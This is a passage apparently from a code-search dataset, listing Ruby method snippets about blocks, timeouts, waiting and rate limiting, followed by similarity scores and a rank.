"def watch_until!(value, &block)\n computation = proc do |comp|\n # First fetch the value\n result = call\n\n if result == value\n # Values match\n\n # call the block\n Volt::Computation.run_without_tracking do\n block.call\n end\n\n # stop the computation\n comp.stop\n end\n end.watch!\n\n computation\n end",
"def timeout?\n @mutex.synchronize {\n temp = Time.now\n if time_diff_in_sec(@last_timestamp, temp) > @timeout_in_sec then\n true\n else\n false\n end\n }\n end",
"def many(&block)\n return false unless try(&block)\n while try(&block); end\n true\n end",
"def block_checker(param) \n [ param , block_given? ]\nend",
"def req_limit_check block=nil\n\t\t\tif @reqs[:cnt] >= @req_limit && Time.now <= @reqs[:next_check]\n\t\t\t # limit reached, execute the optional block and sleep until next_check\n\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i\n\t\t\t\tlog? && GLogg.log_d2? && GLogg.log_d2(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Request limit ' + #_\n\t\t\t\t\t\t\"(%u per %usecs) reached.\\n Sleeping %u seconds.\", #_\n\t\t\t\t\t\t@req_limit, @req_time_range, secs)) #_\n\t\t\t\tif block\n\t\t\t\t\tblock.call\n\t\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i # recompute\n\t\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t\t'Curburger::Request#req_limit_check: ' + #_\n\t\t\t\t\t\t\t'Block executed, sleeping %usecs.', secs > 0 ? secs : 0)) #_\n\t\t\t\tend\n\t\t\t\tsleep secs if secs > 0\n\t\t\tend\n\t\t\tif Time.now > @reqs[:next_check] # reset the counter\n\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Resetting counter ' + #_\n\t\t\t\t\t\t'(%u/%u requests done).', @reqs[:cnt], @req_limit)) #_\n\t\t\t\t@reqs[:cnt], @reqs[:next_check] = 0, Time.now + @req_time_range\n\t\t\tend\n\t\tend",
"def block\n true\n end",
"def wait(timeout = nil)\n return true if set?\n\n @mutex.synchronize { @waiters << Thread.current }\n return true if set? # if event was set while waiting for mutex\n\n if timeout.nil?\n slept = sleep\n else\n slept = sleep(timeout)\n end\n rescue\n # let it fail\n ensure\n @mutex.synchronize { @waiters.delete(Thread.current) }\n return set?\n end",
"def block_given?() end",
"def timeout!; end",
"def my_none?(&block)\n counter = 0\n my_each do |elem|\n counter += 1 if block.call(elem) == false\n end\n return true if counter == size\n\n false\n end",
"def with_checking(description)\n puts \"Checking #{description}\"\n result = yield\n if result\n puts \"OK\"\n else\n puts \"FAILED\"\n end\nend",
"def were_we_given_a_block?\n\tif block_given?\n\t\t\"WE GOT A BLOCK\"\n\telse\n\t\t\"WE DIDN'T GET A BLOCK\"\n\tend\nend",
"def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def valid?\n ping\n end",
"def check test, block\n res = []\n begin\n block.call\n rescue ApiPi::AssertionError => e\n res << e.message\n end\n failed = !res.empty?\n failed ? @failure_count += 1 : @success_count += 1\n puts \"\\tERROR: #{res.first}\\n\" if failed\n end",
"def checkTimeout_Flooding()\n\tsleep(2);\n\tputs \"time out!\";\n\n\nend",
"def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end",
"def checkTimeout\n\tt = Time.now\n\tret = t.to_i\n\ttimeoutMsgs = operateMsgPool(CHECK_MESSAGE, ret.to_s)\n\ti = 0\n\twhile (i < timeoutMsgs.length)\n\t cm_cmc_msg = timeoutMsgs.at(i) \n\t cmstr = cm_cmc_msg.marshallMsg\n\t @communicator.sendCommand(CM_PORT, cm_cmc_msg.ipaddr, cmstr)\n\t i = i + 1\n\tend\n end",
"def retry?\n unless rt_at.nil?\n now = Time.now.utc\n if now >= rt_at\n true\n else\n false\n end\n else\n false\n end\n end",
"def wait_until times: 5, delay: 1, &condition\n times.times do\n return if condition.call\n sleep delay\n end\n raise \"Condition not met. Waited #{times} times with #{delay} sec delay\"\n end",
"def verify!(timeout)\n now = Time.now.to_i\n if (now - @last_verification) > timeout\n reconnect! unless active?\n @last_verification = now\n end\n end",
"def wait_for_block_dev(path)\n Timeout.timeout(600) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def called_with_block?\n if block_given?\n p \"You called me with a block\"\n end\nend",
"def check( value )\n\t\t\treturn self.block.to_proc.call( value ) if self.block\n\t\t\treturn value\n\t\tend",
"def loop_wait_before_first_iteration?\n true\n end",
"def loop_wait_before_first_iteration?\n true\n end",
"def exactly(n, &block)\n (1..n).all? { try(&block) }\n end",
"def matches?\n return @block.call(@actual) if @block\n\n false\n end",
"def any_waiting?\n synchronize do\n @num_waiting > 0\n end\n end",
"def any_waiting?\n synchronize do\n @num_waiting > 0\n end\n end",
"def we_looked_up_blockchain_info_recently?\n return true if self.checkout_wallet.nil? # This condition, oddly, is met when something goes wrong during create_instant_sale and we wind up with Sales that are half made, but something went wrong creating the checkout_wallet\n lml = self.checkout_wallet.last_manual_lookup\n \n if (!lml.nil? and Time.zone.now - lml > 15.minutes) or lml.nil? or !(Time.zone.now - self.created_at < 15.minutes)\n false\n else\n true\n end\n \n end",
"def clock?\n true\n end",
"def timeout_given?\n !!node['redmine']['executor']['timeout']\n end"
] |
[
"0.6829118",
"0.6670128",
"0.66382533",
"0.6588048",
"0.65865827",
"0.64950585",
"0.64216465",
"0.6327964",
"0.6284875",
"0.6152245",
"0.6101874",
"0.60759",
"0.60516053",
"0.6038432",
"0.5987311",
"0.59793013",
"0.5964858",
"0.5927506",
"0.5926482",
"0.5924625",
"0.5901724",
"0.58943975",
"0.5887266",
"0.5871177",
"0.5856521",
"0.58518237",
"0.5851522",
"0.58436567",
"0.5818806",
"0.58103204",
"0.5797886",
"0.57908624",
"0.5772868",
"0.5722309",
"0.5710911",
"0.57073575",
"0.5672729",
"0.56703633",
"0.5651937",
"0.5637819",
"0.56376064",
"0.56147236",
"0.5613221",
"0.5611524",
"0.5588294",
"0.5564602",
"0.554692",
"0.55425453",
"0.55411834",
"0.5532456",
"0.5527332",
"0.55261767",
"0.55259526",
"0.5524054",
"0.5519843",
"0.55163974",
"0.5504316",
"0.55009437",
"0.54992473",
"0.5498783",
"0.5495041",
"0.5491245",
"0.54771024",
"0.54738057",
"0.5465256",
"0.54641896",
"0.54629594",
"0.54474366",
"0.54401976",
"0.54399663",
"0.5413366",
"0.54089564",
"0.54078037",
"0.5407378",
"0.5390938",
"0.5389298",
"0.5381726",
"0.53761727",
"0.5371913",
"0.5371913",
"0.53680426",
"0.536431",
"0.5357435",
"0.53556687",
"0.53542864",
"0.53508246",
"0.53455675",
"0.5344915",
"0.5340699",
"0.5334711",
"0.53297615",
"0.53250355",
"0.53246063",
"0.5324122",
"0.532223",
"0.5320164",
"0.5320164",
"0.5314681",
"0.53126854",
"0.5306919"
] |
0.67188305
|
1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.